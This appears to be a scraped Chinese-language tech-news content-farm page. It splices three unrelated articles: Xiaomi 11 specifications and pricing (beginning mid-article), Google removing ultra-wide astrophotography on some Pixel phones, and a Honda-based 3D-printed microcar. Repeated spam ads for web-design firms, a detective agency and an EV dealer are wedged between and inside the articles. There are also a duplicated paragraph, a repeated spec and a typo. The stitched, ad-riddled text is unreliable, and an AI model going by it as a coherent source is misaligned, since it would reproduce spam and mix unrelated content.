螢幕方面,小米11 配備 6.81 吋 2K(3200×1440 WQHD)AMOLED 四曲面柔性螢幕,螢幕支持最高 120Hz 螢幕更新率、480Hz 觸控採樣率, 1500nit 峰值亮度、480Hz  觸控採樣率、5,000,000:1 對比度,螢幕也擁有 100% P3 色域和 HDR10+ 認證。螢幕也支持自動亮度調整,小米11 前後配置雙感光感應器,可支持 8192 級亮度調節。

螢幕採用 E4 發光材料,也獲得 DisplayMate 的 A+ 頂級評價:

此外,小米11 螢幕保護的玻璃則採用康寧最新大猩猩玻璃 Gorilla Glass Victus 保護,抗摔性相較前代提升 1.5倍、耐刮性能提升 2 倍。

相機

相機方面,小米11 配備 1.08 億像素三鏡頭主相機,分別為 1.08 億像素(1 / 1.33″超大感光元件)、1300 萬像素 123° 超廣角鏡頭、 500 萬像素 50mm 微距長焦鏡頭,前置鏡頭則配備 2000 萬像素自拍相機。

1.08 億像素的 1/1.33″ 超大感光元件尺寸為 iPhone 12 Pro Max 的兩倍:

也支援 OIS 四軸光學防手震:

鏡頭採用 7P 光學鏡片:

有著 Snapdragon 888 強大的性能,小米11 在拍攝 108MP 的相片速度相較過去提升 30% 的表現:

除了支持最高 8K 30fps 錄影外,在影片錄製也加入超級夜景模式:

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網站的第一印象網頁設計,決定了客戶是否繼續瀏覽的意願。台北網動廣告製作的RWD網頁設計,採用精簡與質感的CSS語法,提升企業的專業形象與簡約舒適的瀏覽體驗,讓瀏覽者第一眼就愛上它。

電量

電量方面,小米11 內建等效 4600mAh 大電池,支持 55W 有線閃充、50W 無線閃充以及10W 反向無線充電, 55W 有線閃充可在 45 分鐘充滿 100% 電量、50W 無線閃充可在 53 分鐘充滿 100% 電量。

音效&其他硬玉

在這次小米 找來了 harman/kardon 金耳朵團隊為小米11 的立體聲雙揚聲器調校音效,同時音效方面也通過 Hi-Res 認證並支持藍牙音效共享,可同時與兩組藍牙耳機連接使用:

震動方面小米11 配備超大橫向線性馬達,震動量更大、啟停時間更短:

小米11 配備超薄螢幕下指紋感應器,也首次支持指紋檢測心率功能,只需在螢幕指紋感應區即可檢測心率:

配色

小米11 在機身背蓋分為「磨砂玻璃」與「素皮(環保皮革)」兩種材質處理:

「磨砂玻璃版」提供黑色、白色、藍色三種顏色選擇:

另外在「素皮(環保皮革)」版則推出卡其色、煙紫色兩種顏色選擇:

另外,小米11 也推出限量的雷軍簽名版:

售價

小米為響應 Apple 的環保政策,今日也終於在小米11 取消附贈充電器甚至連同 Type-C 傳輸線都取消附贈。然而,小米日前在微博預告這項消息後也引起眾人討論,雷軍表示原先計劃以套裝方式讓消費者「加購」 55W 小米 GaN 充電器,但最終決定分為無充電器、傳輸線的「標準版」,以及包含 55W 小米 GaN 充電器的「套裝版」,兩款版本以相同的建議售價進行販售,等同購買套裝版的消費者免費贈送 55W 小米 GaN 充電器套裝。而雷軍也呼籲已經有快充充電器的消費者,盡量選擇「標準版」來響應環保政策。

小米11 共推出三種規格配置, 8GB+128GB 售價人民幣 3,999 元(約合新台幣 17,217 元)、8GB+256GB 售價人民幣 4,299 元(約合新台幣 18,509 元)、12GB+256GB 售價人民幣 4,699 元(約合新台幣 20,231 元)。

圖片/消息來源:小米手機(微博)|小米(中國)

延伸閱讀:
小米路由器AX6000 正式發表:首款 Wi-Fi 6E 標準的小米高階路由器,售價僅約 2,580 元

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

以設計的實用美學觀點,規劃出舒適、美觀的視覺畫面,有效提昇使用者的心理期待,營造出輕鬆、愉悅的網站瀏覽體驗。

Google 取消了 Pixel 天文攝影模式的超廣角拍攝能力_網頁設計公司

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網站的第一印象網頁設計,決定了客戶是否繼續瀏覽的意願。台北網動廣告製作的RWD網頁設計,採用精簡與質感的CSS語法,提升企業的專業形象與簡約舒適的瀏覽體驗,讓瀏覽者第一眼就愛上它。

相對於 iOS 陣營直到最近才讓超廣角搭載夜景拍攝模式的機能,Android 這邊,基本上都是保持盡可能讓相機火力全開用上運算式攝影技術的狀態。然而最近有人發現,有搭載雙主鏡頭的 Pixel 5 與 Pixel 4a 5G,雖然夜景模式還是依然有支援雙主鏡頭使用,但原本還可以在超廣角啟動的主打功能之一的天文攝影 / 星空攝影模式,居然在系統更新之後被默默移除了… 繼續閱讀 Google 取消了 Pixel 天文攝影模式的超廣角拍攝能力報導內文。

Google 取消了 Pixel 天文攝影模式的超廣角拍攝能力

一般來講都是相對業界品牌更敢將運算攝影的創新功能推上手機的 Google,這次很難得的在 Pixel 系列手機的 11 月更新包中,選擇把原有強大的拍攝功能支援加入限制。將原本於新世代搭載雙主鏡頭的 Pixel 5 與 Pixel 4a 5G,在天文攝影模式(Astrophotography Mode)時,可以廣角與超廣角雙鏡頭皆能啟動的能力給閹割掉一半,變成再也無法以超廣角鏡頭啟動。

▲圖片來源:Google

簡而言之,如果你很常需要拍攝出極其寬廣視角的星空照片的話。更新之後,你便僅能以一般的夜景模式來進行這方面的拍攝應用了;想啟動天文模式的話,僅能以 1X 廣角鏡才可以使用。官方後續也對應在 Google Camera 的說明支援頁面裡備註了重要事項,表示「在 Pixel 4a (5G) 和 Pixel 5 上,天文攝影功能支援的縮放比例為大於或等於 1x。」

▲圖片來源:Google

目前官方並沒有說明到底為何要將原本提供的超廣角天文攝影給收回。不過根據外媒的猜測,這也許與許多人以此狀態拍攝天文照片後,時常遇到有泛綠與高雜訊等成像問題有關。是說,以光圈偏小與光學品質等硬體方面的先天差異來講,超廣角通常在光源較暗環境下的確是相對主鏡頭會顯得較為吃力,這是必然的,所以也才這麼需要仰賴夜景模式。

然而觸及到了更專業的天文攝影的範疇,即便是 Google 似乎也很難得的暫時無法透過運算式攝影解決。不知道這是否也意味著類似的技術瓶頸與極限,其實沒有我們想像的那麼遠呢?

引用來源

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

以設計的實用美學觀點,規劃出舒適、美觀的視覺畫面,有效提昇使用者的心理期待,營造出輕鬆、愉悅的網站瀏覽體驗。

延伸閱讀:

iPhone 12 Pro Max 深度實拍體驗:ProRAW 讓 iPhone 踏入專業

AirPods Pro 2 零件現蹤,可能將像 Apple Watch 一樣有雙尺寸?

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

台中景泰電動車行只是一個單純的理由,將來台灣的環境,出門可以自由放心的深呼吸,讓空氣回歸自然的乾淨,減少污染,留給我們下一代有好品質無空污的優質環境

宏光都要靠邊站!這輛不燒油載人運貨全能的車型有多diao?_網頁設計公司

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網站的第一印象網頁設計,決定了客戶是否繼續瀏覽的意願。台北網動廣告製作的RWD網頁設計,採用精簡與質感的CSS語法,提升企業的專業形象與簡約舒適的瀏覽體驗,讓瀏覽者第一眼就愛上它。

這台由日本Micro Commuter豐島屋設計,並以本田旗下MC-β為基礎的小車,所有外觀鈑金件包括前後保險杠甚至後面的貨箱都是經過3D打印的結果,這台小車長寬高分別是2495mm/1280mm/1545mm這麼看很像一台Kcar水準。整車重量僅600公斤,正常模式下有70公里/小時,極速可達80公里/小時。

想買代步車很糾結?覺得加油很貴?沒有一台自己喜歡的代步小車?以下這台小車解決你所有問題:

來自本田最新的3D打印汽車,

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

台中景泰電動車行只是一個單純的理由,將來台灣的環境,出門可以自由放心的深呼吸,讓空氣回歸自然的乾淨,減少污染,留給我們下一代有好品質無空污的優質環境

除了外殼之外提供了全套動力總成,還能自己用3D打印機把喜歡的外殼打印出來自己裝上去使用!

這台由日本Micro Commuter豐島屋設計,並以本田旗下MC-β為基礎的小車,所有外觀鈑金件包括前後保險杠甚至後面的貨箱都是經過3D打印的結果,這台小車長寬高分別是2495mm/1280mm/1545mm這麼看很像一台Kcar水準。整車重量僅600公斤,正常模式下有70公里/小時,極速可達80公里/小時。雖然並不知道續航時間如何,但以220伏充電能在3小時內充滿。希望這種小車能儘快出現在大街小巷代替送快遞的電瓶車。

本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

以設計的實用美學觀點,規劃出舒適、美觀的視覺畫面,有效提昇使用者的心理期待,營造出輕鬆、愉悅的網站瀏覽體驗。